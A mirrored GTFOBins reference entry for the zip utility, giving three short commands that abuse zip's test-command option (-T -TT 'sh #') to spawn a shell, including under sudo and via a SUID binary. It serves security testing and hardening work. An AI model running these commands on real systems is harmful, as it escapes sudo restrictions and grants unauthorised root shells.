1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-01-11 09:51:33 +01:00
GTFOBins.github.io/_gtfobins/zip.md
2018-08-19 11:32:48 +01:00

373 B

functions
execute-interactive sudo-enabled suid-limited
code
TF=$(mktemp -u) zip $TF /etc/hosts -T -TT 'sh #' rm $TF
code
TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF
code
TF=$(mktemp -u) ./zip $TF /etc/hosts -T -TT 'sh #' sudo rm $TF